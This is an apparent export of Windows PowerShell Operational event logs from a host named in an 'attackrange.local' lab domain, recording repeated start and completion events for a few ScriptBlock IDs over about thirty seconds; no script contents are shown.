SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023451
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:56:34 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023450
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:56:34 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023449
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:56:34 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023448
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:56:34 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023447
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:56:34 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023446
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:56:34 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023445
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:56:39 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023464
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:56:39 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023463
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:56:39 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023462
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:56:39 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023461
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:56:39 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023460
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:56:39 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023459
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:56:39 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023458
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:56:39 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023457
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:56:39 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023456
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:56:39 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023455
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:56:45 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023474
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:56:45 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023473
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:56:45 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023472
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:56:45 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023471
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:56:45 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023470
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:56:45 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023469
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:56:45 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023468
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:56:45 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023467
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:56:45 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023466
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:56:45 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023465
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:56:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023484
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:56:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023483
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:56:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023482
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:56:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023481
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:56:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023480
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:56:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023479
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:56:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023478
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:56:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023477
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:56:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023476
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:56:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023475
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:56:57 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023494
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:56:57 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023493
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:56:57 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023492
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:56:57 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023491
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:56:57 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023490
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:56:57 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023489
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:56:57 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023488
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:56:57 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023487
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:56:57 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023486
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:56:57 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023485
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:57:03 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023504
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:57:03 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023503
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:57:03 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023502
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:57:03 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023501
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:57:03 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023500
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:57:03 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023499
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:57:03 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023498
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
